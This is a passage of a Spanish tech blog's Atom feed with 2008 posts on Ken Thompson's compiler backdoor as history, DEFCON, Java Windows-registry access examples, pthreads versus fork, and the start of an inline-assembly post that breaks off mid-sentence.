planned, and a few have become widely known. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   Ken Thompson's 1983 Turing Award lecture to the ACM admitted the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   existence of a back door in early Unix versions that may have&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   qualified as the most fiendishly clever security hack of all time. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   In this scheme, the C compiler contained code that would recognize&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   when the `login' command was being recompiled and insert some&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   code recognizing a password chosen by Thompson, giving him entry to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   the system whether or not an account had been created for him.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Normally such a back door could be removed by removing it from the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   source code for the compiler and recompiling the compiler.  But to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   recompile the compiler, you have to use the compiler -- so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   Thompson also arranged that the compiler would recognize when&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   it was compiling a version of itself, and insert into the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   recompiled compiler the code to insert into the recompiled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   `login' the code to allow Thompson entry -- and, of course, the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   code to recognize itself and do the whole thing again the next time&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   around!  And having done this once, he was then able to recompile&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   the compiler from the original sources; the hack perpetuated itself&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   invisibly, leaving the back door in place and active but with no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   trace in the sources."&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Traducción extremadamente libre hecha por mí.&lt;br /&gt;&lt;br /&gt;Históricamente, los backdoors, han estado merodeando por los sistemas más de lo que ninguno se imaginó o planeó, y algunos se han vuelto ampliamente conocidos. La conferencia que Ken Thompson dió cuando en 1983 le otorgaron el "Turing Award" (premio Turing) a la ACM, admitía la existencia de un backdoor en las primeras versiones de Unix que puede ser calificado como el más diabólicamente inteligente hack de seguridad de todos los tiempos. En este plan, el compilador de C contenía código que reconocería cuándo el comando 'login' estaba siendo recompilado e insertaba código que reconocía una contraseña elegida por Thompson, dándole entrada al sistema tanto si la cuenta existía o no.&lt;br /&gt;&lt;br /&gt;Normalmente un backdoor como éste puede eliminarse eliminándolo del código fuente del compilador y recompilando el compilador. Pero para recompilar el compilador necesitas el compilador -- entonces Thompson introdujo al compilador código para que reconociera cuándo estaba compilando una versión de si mismo e insertara en el compilador recompilado el código para insertar en el 'login' recompilado el código para dejar entrar a Thompson -- y, por supuesto, el código para reconocerse a sí mismo y hacer todo el proceso otra vez la próxima vez! Y haciendo esto una vez, pudo dejar que el compilador se compilara desde los fuentes originales; el hack se ocultaba a sí mismo, dejando un backdoor activo pero sin rastro en los fuentes.&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Increíble truco x'DDDDDDDDDDD.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-810170597137400162?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/810170597137400162/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=810170597137400162' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/810170597137400162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/810170597137400162'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/05/el-mejor-backdoor-de-todos-los-tiempos.html' title='El mejor backdoor de todos los tiempos'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7278933105844009658</id><published>2008-05-10T17:02:00.002Z</published><updated>2008-05-10T17:06:34.235Z</updated><title type='text'>Grandes Frases Informáticas</title><content type='html'>Hola,  navegando por ahi encontre  un blog donde mostraban grandes fraces de la informatica.&lt;br /&gt;&lt;br /&gt;Yo me quedo con esta:&lt;br /&gt;&lt;br /&gt;“La programación es una carrera entre los desarrolladores, intentando construir mayores y mejores programas a prueba de idiotas, y el universo, intentanto producir mayores y mejores idiotas. Por ahora va ganando el Universo”&lt;strong&gt;  Rich Cook&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Pero esta va para Aythami:&lt;br /&gt;&lt;br /&gt;“Bien, Java podría ser un buen ejemplo de cómo debería ser un lenguaje de programación. Sin embargo, las aplicaciones Java son buenos ejemplos de cómo las aplicaciones no deberían ser”&lt;strong&gt;  Pixadel&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Las demas estan aqui:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;http://www.blogdemaria.com/2008/04/06/grandes-frases-informaticas/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7278933105844009658?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.blogdemaria.com/2008/04/06/grandes-frases-informaticas/' title='Grandes Frases Informáticas'/><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7278933105844009658/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7278933105844009658' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7278933105844009658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7278933105844009658'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/05/grandes-frases-informticas.html' title='Grandes Frases Informáticas'/><author><name>Nauzet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-716987204551094657</id><published>2008-04-21T19:07:00.003Z</published><updated>2008-04-21T19:22:23.449Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON'/><category scheme='http://www.blogger.com/atom/ns#' term='crackers'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>DEFCON</title><content type='html'>Hoy una entrada rapidita y nada técnica, sólo una curiosidad.&lt;br /&gt;&lt;br /&gt;DEFCON es una reunión anual donde acuden los mayores y más importantes hackers, crackers y expertos en seguridad de todo el mundo. Se celebra en Las Vegas y tienen charlas de todo tipo, competiciones de hacking, lockpicking (abrir cajas fuertes) y es donde nació el concepto de CTF (Capture The Flag), un tipo de torneo donde unos cuantos hackers atacan y otros tantos defienden, dura un finde entero. También tienen fiestas y competiciones de beber cerveza y cosas por el estilo xDD.&lt;br /&gt;&lt;br /&gt;Ahhh, sería fantástico tener dinerillo y poder tomarse una semanita por allí. Se suele celebrar entre finales de Julio y principios de Agosto y a ella no sólo van hackers, etc... también acuden periodistas, abogados y demás fauna de este estilo. Como nota de color tengo que añadir que el FBI, DoD o NSA (entre otras) acuden allí no sólo a hacer charlas, sino también a contratar gente, imaginen el nivel que se mueve por allí.&lt;br /&gt;&lt;br /&gt;Y para terminar unas curiosidades, existe un tablón público en donde se van anotando todos los users y passwords de la gente que no tiene suficiente cuidado durante el evento. Entrar en el evento cuesta 120$ los 3 días, sólo se acepta el pago en metálico, ni transferencias bancarias, ni cheques, etc..., no quieren ponerle fácil a los gobiernos su persecución. Al evento acuden no sólo white hat hackers, también black hat hackers por lo que las fuerzas de seguridad están muy presentes. La organización de DEFCON pone para el uso de todo el público asistente una red para poder conectarse a Internet, sin embargo dejan bien claro que el uso de la misma debería hacerse única y exclusivamente desde ordenadores que no importen que sean infectados, hackeados, formateados, etc... esa red está considerada la red más peligrosa del mundo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-716987204551094657?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/716987204551094657/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=716987204551094657' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/716987204551094657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/716987204551094657'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/04/defcon.html' title='DEFCON'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-5271653407156534624</id><published>2008-04-18T10:00:00.000Z</published><updated>2008-04-18T10:06:30.449Z</updated><title type='text'>Usar el Registro de Windows con java JNIRegistry</title><content type='html'>&lt;p&gt;De nuevo vuelvo a escribir para intentar plasmar un poquito mas de conocimiento adquirido con este tema del uso del registro de windows, pero esta vez utilizando una librería externa de java creada por el grupo &lt;a href="http://www.trustice.com/java/jnireg/index.shtml" mce_href="http://www.trustice.com/java/jnireg/index.shtml"&gt;ICE Engineering&lt;/a&gt; que elimina la limitación de solo poder usar el registro de windows a partir de la clave (nodo) ../java/prefs/ que nos impone el uso de la clase Preferences de java, de la cual ya escribir explicándola un poco.&lt;/p&gt;  &lt;p&gt;Antes de empezar a explicar un poco como hacer todo esto y poner un ejemplo auto explicativo, debo decir que esta librería externa que usamos para poder usar el registro de windows, realiza su cometido haciendo uso del JNI (Java Native Inferface) que no es más que este grupo, para poder implementar esto, se creo una librería en C que haciendo uso de la API que windows proporciona para usar el registro de windows, nos ofrece unas clases para poder hacer todo el trabajo.&lt;/p&gt;  &lt;p&gt;Para poder usar este código fuente, debemos añadir la librería a nuestro proyecto ( registry.jar) y además poner la DLL donde este el proyecto para que podamos ejecutar el ejemplo.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Organización de la librería JNIregistry&lt;/b&gt; .&lt;/p&gt;  &lt;p&gt;Esta librería nos proporciona varias clases, pero las más básicas son:&lt;/p&gt;  &lt;p&gt;Registry,  RegistryKey y RegistryValue.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Registry: &lt;/b&gt;Es la clase nos proporciona los mecanismos para poder inicializar/usar/abrir un árbol de claves (nodos) , osea lo primero para poder usar las demás cosas.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;RegistryKey: &lt;/b&gt;Esta clase es la que usamos para trabajar con las claves que necesitamos, paa usar un objeto de esta clase, debemos inicializarlo/crearlo mendiante la clase Registry.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;RegistryValue:&lt;/b&gt;Esta clase es la que representa un registro, osea donde se contienen los datos a los que queremos acceder.&lt;/p&gt;  &lt;p&gt;La clase RegistryValue representa un registro en el registro de windows, pero tened en cuenta que representa un registro genérico, osea, puede cargar/crear un registro de cualquier tipo (DWORD, binario, string, etc...) así que cuando vayamos a sacar valores o introducirlos debemos dárselos como un vector de bytes. Sino queremos estar pendientes de estar haciendo conversiones de tipos y tenemos muy claro con que tipo de registro estamos trabajando, podemos usar las clases específicas para manejar cada tipo de registro, las cuales nos proporcionan mecanismos más cómodos para trabajar con los registros de windows. Estas clases las podemos ver en la &lt;a href="http://www.gjt.org/javadoc/com/ice/jni/registry/RegBinaryValue.html" mce_href="http://www.gjt.org/javadoc/com/ice/jni/registry/RegBinaryValue.html"&gt;documentación&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Dicho todo lo anterior, ya solo me queda poner el código de ejemplo, el cual nos da una visión de como usar la clase de forma genérica. Sólo una aclaración, este ejemplo usa una clave que yo usaba la "Software\\Atlas\\egEasy\\egOffice\\miclave" es una ruta que tengo yo en mi ordenador y "miclave" es una clave que me cree con el regedit de windows para hacer las pruebas de solo lectura, si quieren esto lo podéis cambiar o crearos ustedes mismo el árbol de claves que deseen.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Código del ejemplo:&lt;/b&gt;&lt;br /&gt;import com.ice.jni.registry.Registry;&lt;br /&gt;import com.ice.jni.registry.RegistryException;&lt;br /&gt;import com.ice.jni.registry.RegistryKey;&lt;br /&gt;import com.ice.jni.registry.RegistryValue;&lt;/p&gt;  &lt;p&gt;/**&lt;br /&gt;*&lt;br /&gt;* @author nmelian&lt;br /&gt;*/&lt;br /&gt;public class Main {&lt;/p&gt;  &lt;p&gt;/*&lt;br /&gt;* El archivo  DLL  de este jar, hay que meterlo en la carpeta del proyecto&lt;br /&gt;* en la raiz solamente. a no se que se configure el java.lib, para que vaya&lt;br /&gt;* a la ruta que tu quieras a buscar la DLL&lt;br /&gt;*/&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;{&lt;br /&gt;/*&lt;br /&gt;* En este punto nos creamos un objeto que representa una Clave (nodo)&lt;br /&gt;* y con openSubkey le asignamos la ruta de la clave que queremos usar&lt;br /&gt;* y el arbol que vayamos a usar (el del user o el de la maquina local)&lt;br /&gt;* */&lt;br /&gt;RegistryKey regkey = Registry.HKEY_CURRENT_USER;&lt;br /&gt;RegistryKey Clave =Registry.openSubkey(regkey,"Software\\Atlas\\egEasy\\egOffice\\miclave",RegistryKey.ACCESS_ALL);&lt;/p&gt;  &lt;p&gt;try&lt;br /&gt;{&lt;br /&gt;/*Aqui nos creamos un objeto que representa un Registro y le asignamos&lt;br /&gt;* el registro que queremos sacado de la clve que nos creamos antes.&lt;br /&gt;* */&lt;br /&gt;RegistryValue Registro = Clave.getValue("mivalor");&lt;/p&gt;  &lt;p&gt;/* Con el registro que acabamos de obtener, podemos acceder a distivos&lt;br /&gt;* atributos, como el nombre del atributo (que debe ser el mismo que&lt;br /&gt;* utilizamos en Clave.getValue("mivalor"); cuadno creamos el objeto registro&lt;br /&gt;* El nombre con su ruta absoluta  con getFullName() y el tipo de  registro&lt;br /&gt;* que es, con getType() Por ultimo para acceder al valor que contiene el&lt;br /&gt;* registro debemos utilizar la Clave y decirle que nos de la ristra que&lt;br /&gt;* representa el contenido del registro que le pasamos. Ojo, esta forma de&lt;br /&gt;* acceder  a los datos del registro, es unsando la clase RegistryValue, que&lt;br /&gt;* la mas generica para que no importe que  tipo de registro estamos accediendo,&lt;br /&gt;* ya que si es un tipo binario, un tipo DWORD, etc... deberíamos acceder a los&lt;br /&gt;* datos con  Registro.getByteData() y luego transformarlos al tipo de dato que&lt;br /&gt;* nosotros esperemos.&lt;br /&gt;* */&lt;br /&gt;System.out.print(&lt;br /&gt;"\nName :" +&lt;br /&gt;Registro.getName() +&lt;br /&gt;"\nKey :" +&lt;br /&gt;Registro.getKey().getFullName() +&lt;br /&gt;"\nType :" +&lt;br /&gt;Registro.getType() +&lt;br /&gt;"\nContenido :"  +&lt;br /&gt;Clave.getStringValue(Registro.getName())&lt;br /&gt;);&lt;/p&gt;  &lt;p&gt;/* Para asignarle un valor a un regitro para guardarlo en la clave, debemos&lt;br /&gt;* primero asignarle el valor al registro, con Registro.setByteData();&lt;br /&gt;* el valor que vayamos a asignarle debemos pasarselo vomo un vector de bytes,&lt;br /&gt;* despues debemos asignar ese registro a la clave donde estemos trabajando,&lt;br /&gt;* con Clave.setValue( Registro);&lt;br /&gt;*&lt;br /&gt;* */&lt;br /&gt;String contenido = "12.18.1.1";&lt;br /&gt;Registro.setByteData(contenido.getBytes());&lt;br /&gt;Clave.setValue( Registro);&lt;br /&gt;System.out.print(&lt;br /&gt;"\n///--------" +&lt;br /&gt;"\nName :" +&lt;br /&gt;Registro.getName() +&lt;br /&gt;"\nKey :" +&lt;br /&gt;Registro.getKey().getFullName() +&lt;br /&gt;"\nType :" +&lt;br /&gt;Registro.getType() +&lt;br /&gt;"\nContenido :"  +&lt;br /&gt;Clave.getStringValue(Registro.getName())&lt;br /&gt;);&lt;/p&gt;  &lt;p&gt;}&lt;br /&gt;catch(RegistryException ex)&lt;br /&gt;{&lt;br /&gt;ex.printStackTrace();&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;}&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-5271653407156534624?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.trustice.com/java/jnireg/index.shtml' title='Usar el Registro de Windows con java JNIRegistry'/><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/5271653407156534624/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=5271653407156534624' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/5271653407156534624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/5271653407156534624'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/04/usar-el-registro-de-windows-con-java_18.html' title='Usar el Registro de Windows con java JNIRegistry'/><author><name>Nauzet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7549458070908126302</id><published>2008-04-17T11:16:00.002Z</published><updated>2009-02-04T20:02:54.790Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Usar el Registro de Windows con java Preferences</title><content type='html'>&lt;p&gt;Aquí publico una buena entrada en el blog para plasmar como hacer unas de las curiosidades que siempre he tenido, como usar el registro de windows en mis programas.&lt;/p&gt; &lt;p&gt;Básicamente me remito a plasmar un código de ejemplo que hice basándome en otro que encontré por internet. No creo que haga falta en este punto explicar nada, ya que me preocupe de comentar bastante el código y poco más puedo añadir.&lt;/p&gt; &lt;p&gt;Bueno chao y asta la próxima… que será dentro de poco.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Código del ejemplo.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;import java.util.logging.Level;&lt;br /&gt;import java.util.logging.Logger;&lt;br /&gt;import java.util.prefs.BackingStoreException;&lt;br /&gt;import java.util.prefs.Preferences;&lt;/p&gt; &lt;p&gt;/*  Autor: Nauzet&lt;br /&gt;* Esto un ejemplo de como usar la Clase Preferences de java.util.prefs y&lt;br /&gt;* dando algunos datos de como se usa.&lt;br /&gt;* El ejemplo consta de como leer y escribir en el registro de windows y como&lt;br /&gt;* hacer algunas comprobaciones.&lt;br /&gt;* */&lt;/p&gt; &lt;p&gt;public class Main&lt;br /&gt;{&lt;/p&gt; &lt;p&gt;public static void main(String[] args) {&lt;br /&gt;try {&lt;/p&gt; &lt;p&gt;/*La variable Mipref es un nodo del registro de windows, que esta representado&lt;br /&gt;* como un arbol de directorio. En este punto con userRoot le asignamos la raiz&lt;br /&gt;* del arbol de HKEY_CURRENT_USER\Software\JavaSoft\Prefs . Ojo que con esta&lt;br /&gt;* Clase no nos da la raiz del arbol de usuario del registro (HKEY_CURRENT_USER)&lt;br /&gt;* sino que nos da un nodo al partir podemos trabajar… supongo que es&lt;br /&gt;* filosofía de java.&lt;br /&gt;*&lt;br /&gt;* Si queremos usar el arbol de nodos de la maquina local (HKEY_LOCAL_MACHINE)&lt;br /&gt;* debemos usar .systemRoot() en vez de useRoot().&lt;br /&gt;*/&lt;br /&gt;Preferences Mipref = Preferences.userRoot();&lt;/p&gt; &lt;p&gt;/* Con el metodo node, le asignamos la ruta de registro a la que queremos&lt;br /&gt;* acceder o escribir. Solo decir que si la ruta pasada a node no esta, la crea.&lt;br /&gt;* la ruta tiene que empezar por / y estar escrita en minuscula, para que no&lt;br /&gt;* haya fallos al crear la ruta.&lt;br /&gt;*/&lt;/p&gt; &lt;p&gt;Mipref = Mipref.node(”/software/atlas/egeasy/egoffice/miclave”);&lt;/p&gt; &lt;p&gt;/* Se hace con isUserNode la comprocacion de que el nodo este en el arbol&lt;br /&gt;* HKEY_CURRENT_USER name() nos devuelve el nombre de la clave (nodo) en el que&lt;br /&gt;* estamos.  Esto no es necesario, pero esto es un ejemplo de uso.&lt;br /&gt;*/&lt;br /&gt;if (Mipref.isUserNode()) {&lt;br /&gt;System.out.println(”isUserNode” + “:” + Mipref.name() );&lt;br /&gt;}&lt;/p&gt; &lt;p&gt;/* absolutePath(), nos devuelve el nombre de la clave y su ruta absoluta.&lt;br /&gt;* Ej.: /software/atlas/egeasy/egoffice/miclave */&lt;br /&gt;System.out.println(”La ruta absoluta :” + Mipref.absolutePath());&lt;/p&gt; &lt;p&gt;/*nodeExists(), comprobamos que una clave (nodo) existe.&lt;br /&gt;*/&lt;br /&gt;if (Mipref.nodeExists(”/software/atlas/egeasy/egoffice/miclave”)) {&lt;/p&gt; &lt;p&gt;System.out.println(”SI Existe el nodo con nodeExists”);&lt;br /&gt;System.out.println(”El name :”+Mipref.name());&lt;/p&gt; &lt;p&gt;/* get(), nos devulve el valor que contiene la variable dentro de la clave&lt;br /&gt;* (nodo) a la que tenemos asignada la variable Mipref. Para el metodo get(),&lt;br /&gt;* tenemos que pasar el nombre de la variable a la que qeremos acceder y como&lt;br /&gt;* segundo parametro, una string que nos devolverá sino encuentra esa variable.&lt;br /&gt;* Nota en un nodo pueden haber muchas variables, lo que contiene un nodo lo&lt;br /&gt;* llamo variable por que no estoy seguro de como se llama.&lt;br /&gt;*/&lt;br /&gt;System.out.println(Mipref.get(”javamio”, “No se encuentra”));&lt;br /&gt;}else&lt;br /&gt;System.out.println(”No existe el nodo con nodeExists”);&lt;/p&gt; &lt;p&gt;/* put(), le pasamos el nombre de la variable y el valor que queremos que&lt;br /&gt;* tenga asignado ese registro. Se lo debemos pasar en minuscula por que si le&lt;br /&gt;* pasaramos MiNuevoValor, el resultado que observariamos en el regedit de&lt;br /&gt;* windows sería: /Mi/Nuevo/Valor&lt;br /&gt;*/&lt;br /&gt;Mipref.put(”javamio”, “minuevovalor”);&lt;/p&gt; &lt;p&gt;} catch (BackingStoreException ex) {&lt;br /&gt;Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);&lt;br /&gt;}&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;}&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7549458070908126302?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.tezuan.es/2008/04/17/usar-el-registro-de-windows-con-java-preferences/' title='Usar el Registro de Windows con java Preferences'/><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7549458070908126302/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7549458070908126302' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7549458070908126302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7549458070908126302'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/04/usar-el-registro-de-windows-con-java.html' title='Usar el Registro de Windows con java Preferences'/><author><name>Nauzet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-8296601149285506308</id><published>2008-03-11T12:27:00.004Z</published><updated>2009-02-04T20:03:22.909Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='threads'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='c'/><category scheme='http://www.blogger.com/atom/ns#' term='pthreads'/><category scheme='http://www.blogger.com/atom/ns#' term='hilos'/><title type='text'>Desengaño</title><content type='html'>Esta va a ser una entrada rápida. Resulta que he estado equivocado todo este tiempo, no sabía crear hilos (threads) en UN*X. Creía que se hacía con fork(2), pero no, esto crea procesos.&lt;br /&gt;&lt;br /&gt;Para usar hilos hay que jugar MUUUUUCHO con la llamada al sistema sys_clone, que se accede mediante la llamada de biblioteca clone(2). Pero hay un problema, que realmente no estamos haciendo casi nada, hay que manejar un montón de cosas por debajo. Lo mejor es usar los famosos pthreads, normalmente ya vienen en el sistema (/usr/include/pthread.h) pero no siempre viene la documentación, al menos en Ubuntu no viene, asi que hay que instalar la documentacion completa de la glibc, "sudo apt-get install glibc-doc" y a partir de ahí "man 7 phtreads", "man phtread_create", etc...&lt;br /&gt;&lt;br /&gt;Como curiosidad les diré que tanto pthreads como clone(2) como fork(2) utilizan por debajo sys_clone, pero esto no implica que lo que crea fork(2) sean hilos, no se dejen engañar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-8296601149285506308?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/8296601149285506308/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=8296601149285506308' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8296601149285506308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8296601149285506308'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/03/desengao.html' title='Desengaño'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-6116620394731644478</id><published>2008-02-15T20:23:00.002Z</published><updated>2008-02-15T20:46:03.405Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='c'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly in line'/><category scheme='http://www.blogger.com/atom/ns#' term='ensamblador'/><title type='text'>Ensamblador empotrado en código C</title><content type='html'>Por supuesto ustedes saben que se puede pinchar código en ensamblador (con la sintaxis de AT&amp;amp;T) directamente en los fuentes de C y luego compilarlo con GCC.&lt;br /&gt;&lt;br /&gt;Si bien esto es muy útil sólo cuando realmente se quiere jugar a nivel profundillo en las cosas, aprender cómo funciona es bastante complicado. Para empezar hace falta tener conocimiento deCnte (jas jas jos jos) de C, por supuesto hace falta saber ensamblador y depende de para que queramos pinchar código totalmente no portable necesitaremos un nivel intermedio o avanzadillo xDD, me explico.&lt;br /&gt;&lt;br /&gt;Si queremos simplemente optimizar rutinas escribiendo instrucciones concretas de procesadores concretos sólo necesitamos conocer lo básico, aunque sinceramente la parte de optimización se la dejaría al propio GCC y le metería el flag --march=&lt;arquitectura&gt; (o algo así, man gcc).&lt;br /&gt;&lt;br /&gt;La parte que necesita saber ensamblador más avanzadillo es cuando queremos jugar de verdad... o en nuestro caso empezar a jugar. Por ejemplo, ¿conocéis la instrucciones sidt y lidt? Para los que la conozcan nada que añadir... para los que no la conocéis... bueno, digamos que tendréis que aprender cosas sobre la arquitectura IA32, aaaahhhh tanto que creemos que sabemos y realmente no sabemos nada. Baste decirles que en el procesador no existen sólo los registros EAX, EBX... sino otros de propósitos específicos que sólo son accesibles en modo protegido o sea, básicamente por el SO... El registro IDT (o IDTR) es uno de ellos y lo que contiene es el puntero a la base de la IDT (Interrupt Descriptor Table) y dicho esto ya podéis ir imaginando lo que tiene, contiene los punteros a los manejadores de interrupciones. Por poner un ejemplo rápido, Linux realiza las llamadas al sistema (syscalls) con la instrucción int 0x80, pues en la posición 0x80 de esa tabla esta el puntero a la rutina que maneja las llamadas al sistema (llamada syscall_call). Se que es lioso pero chico, nadie dijo que aprender cómo funcionan las cosas fuera un camino de rosas (sin 